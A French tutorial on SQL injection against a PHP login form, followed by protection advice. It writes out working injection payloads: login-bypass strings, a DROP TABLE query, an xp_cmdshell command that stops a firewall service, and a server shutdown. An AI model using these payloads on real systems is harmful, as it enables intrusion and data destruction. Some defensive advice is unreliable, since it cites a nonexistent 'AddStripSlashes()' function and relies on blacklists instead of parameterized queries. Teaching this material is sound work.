Attaques par injection SQL

Introduction
Qu'est qu'une attaque de type sql injection ?
L'attaque en question
Demonstration d'autres types d'attaques
Comment se proteger des attaques par injection sql ?
Conclusion

Introduction

Suite aux nombreuses vulnerabilites de type "sql injection" que l'on a pu rencontrer dans le passe et que l'on
retrouve encore et toujours aujourd'hui, j'ai decide de vous ecrire un petit article pour presenter ce qu'est vraiment
une injection sql d'une part, mais nous verrons aussi comment un attaquant peut les utiliser et comment s'en
proteger le mieux possible.

Ce type d'attaque vise les serveurs web et plus particulierement les erreurs de programmation au niveau des
scripts asp, cgi, php, etc. Ces memes scripts executant des requetes sql... Ce sujet, comme nous l'avons vu
auparavant, est assez ancien mais on peut dire qu'il est toujours reste d'actualite ne serait-ce que suite à
l'utilisation abondante du asp et du php. Aussi, pas mal d'articles sur ce sujet ont prïvïlegie celui-ci et il est bien
entendu que certains n'y verront, pour sur, que le cote rebarbatif. Mais l'important pour nous, en ecrivant cet
article est d'expliquer cela par nos propres mots de facon à aider les d�utants, et d'adapter ce type de
vulnerabilites à l'actualite.

Qu'est qu'une attaque de type sql injection ?

Comme vous le savez certainement SQL (Structured Query Language) est un language de base de donnees,
celles-ci representant le coeur de beaucoup d'applications web de nos jours. C'est un language base sur des
requetes utilisant des instructions telles que INSERT (insertion de donnees dans la base de donnees), DELETE
(pour en supprimer), UPDATE (pour en mettre à jour), SELECT (pour en selectionner et lire), et bien d'autres.
Mais cette simplicite en fait aussi une proie facile aux detections de failles.

Exemple de requete :

SELECT * FROM users WHERE login = 'damien';

Cette requete aura pour effet de selectionner l'utilisateur (extrait de la table "users") dont le login est "damien".
"SELECT *" signifiant qu'on selectionne tous les champs de cette table mais peu importe pour le moment.

Continuons sur cet exemple pour bien vous faire comprendre ce qu'est une attaque de type sql injection (Mon
exemple n'etant pas du pur hasard puisqu'une attaque de ce type dans le but de recuperer un mot de passe ou
de s'identifier est certainement la plus courante). Maintenant imaginons que ma page contienne un formulaire
d'identification utilisateur de ce type :

Login :

Password :
 S'identifier

La requete associee à ce formulaire permettant de verifier que les login / password entres sont valides par
rapport à notre base de donnees serait :

mysql_query("SELECT * FROM users WHERE utilisateur = '$login' AND motdepasse = '$password'");

Cette requete aurait pour effet de selectionner l'utilisateur en question si le nom d'utilisateur ET le mot de passe
entres sont dans notre base de donnees. Si l'un des deux est errones la requete ne renverra aucun resultat.

L'attaque en question

Sachant que sur mon exemple la variable $login contient ce que j'ai tape dans mon premier champ de texte et
que la variable $password contient de meme ce que j'ai tape dans le deuxieme champ de texte (mot de passe),
imaginez ce que cela pourrait donner si j'entrais ceci dans le premier champ de texte

' OR 1=1"); //

Si nous allons voir ce qui se passe du cote du code, ma requete deviendrait alors :

mysql_query("SELECT * FROM users WHERE utilisateur = '' OR 1=1"); //' AND motdepasse = '$password'");

Et elle permettrait certainement d'identifier car la requete est vraie si un utilisateur "" existe OU si 1=1. Comme il
est evident que 1 est egal à 1, elle serait vraie. Le signe "//" signifiant un commentaire en php, le reste serait
rendu inutile. il est vrai que ma requete est un peu tiree par les cheveux, mais imaginez maintenant que je sache
qu'un certain damien est possesseur des droits administrateurs et que je rentre ceci dans mon champ de texte :

damien'"); //

il selectionnera alors l'utilisateur damien sans se preoccuper du mot de passe en suivant le meme raisonnement
que precedemment. .

Demonstration d'autres types d'attaques

Dans notre exemple precedent, nous ne faisions que nous identifier et nous aurions tres bien pu recuperer un
mot de passe de la meme facon. Mais ce n'est pas tout ce qu'on pourrait faire avec une injection sql. Maintenant
que vous avez compris comment vous "fabriquer" vos propres requetes, voici quelques exemples de requetes
venant à effectuer des modifications sur les donnees ou meme le systeme cette fois-ci.

login : ' OR 1=1"); drop table users;

password : n'importe lequel

Celle-ci supprimerait completement la table users.

login : '; exec master..xp_cmdshell 'net stop firewall'; --

password : n'importe lequel

Sachant que je suis repasse dans une syntaxe sql utilisee sur asp, cette requete ci-dessus aurait pour effet
d'executer une commande shell "net stop firewall" qui stopperait l'execution du service "firewall". Et puisque le
serveur sql est lance en tant que SYSTEM par defaut, nous aurions tout à fait ce droit d'arreter des services.
login : '; shutdown with nowait; --

password : n'importe lequel

admin' --

admin' #

admin'/*

' or 1=1-- /////celle-la m'a permis de résoudre un challenge, merci à elle ................

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1--

Mais ce ne sont que quelques exemples car les possibilites sont nombreuses.

Comment se proteger des attaques par injection sql ?

Comme vous pouvez vous en douter, le seul moyen de prevenir ces attaques se trouve au niveau de la
programmation. Si celle-ci est bien realisee, elles ne sont normalement plus possibles. Alors...quelles sont les
rïsques de programmation à prendre en compte ?

- Tout d'abord, evitez d'utiliser un compte ayant tous les pouvoirs pour l'execution de votre serveur sql si
possible.

- Supprimer les fonctions que vous n'utilisez pas telle que celle que nous avons vu : master..xp_cmdshell, et de
maniere generale toutes celles commencant par "master..xp".

- verifiez les entrees utilisateurs telles que les champs de texte. verifiez aussi que les nombres attendus soient
bien des nombres avec une fonction telle que IsNumeric() par exemple.

- verifiez aussi les parametres des URL qui sont ajoutables.

- Utilisez les caracteres et fonctions d'echappement telles que AddStripSlashes() en php, voir les caracteristiques
de la fonction et en general les documentations de vos languages de programmation web pour plus d'infos. Cela
empechera par exemple l'entree utilisateur du caractere ' en l'echappant à l'aide d'un slash le precedant.

- Vous pouvez aussi empecher d'une maniere generale certaines sequences d'entrees utilisateurs telles que ";",
"insert", "select", "//", "--", etc.

- Attention aussi à limiter le nombre de caracteres qu'un utilisateur peut entrer dans un champ de texte, car ceci
peut fort bien lui compliquer la tache.

- Pour finir, attention à ce que vous mettez dans les cookies, car un mot de passe (meme crypter en md5) est vite
trouvé par une attaque de ce type. Et par la suite un remplacement de cette valeur dans le cookie ïncite
l'attaquant à une attaque de type brute force ; c'est donc un joli cadeau.

Conclusion

Nous avons pu voir differents types d'attaques realisables par injection sql ainsi que des moyens de les prevenir,
en esperant que votre vision de la programmation sql aura ete amelioree coté securite et que vous pourrez vous-
memes essayer de remïedier à ces failles dans vos applications web si besoin est puisque c'est le but.

Volontairement je ne me suis pas attarde sur l'ajout de parametres dans une URL, qui peut provoquer une
injection sql de la meme facon car le principe est le meme, sauf que les formulaires vulnerables seront des
formulaires les plus souvent caches cette fois-ci.

Voila..souvenez vous qu'aucune application web utilisant une base de donnees n'est totalement securisee si vous
ne vous en preoccupez pas.
Sources de l'article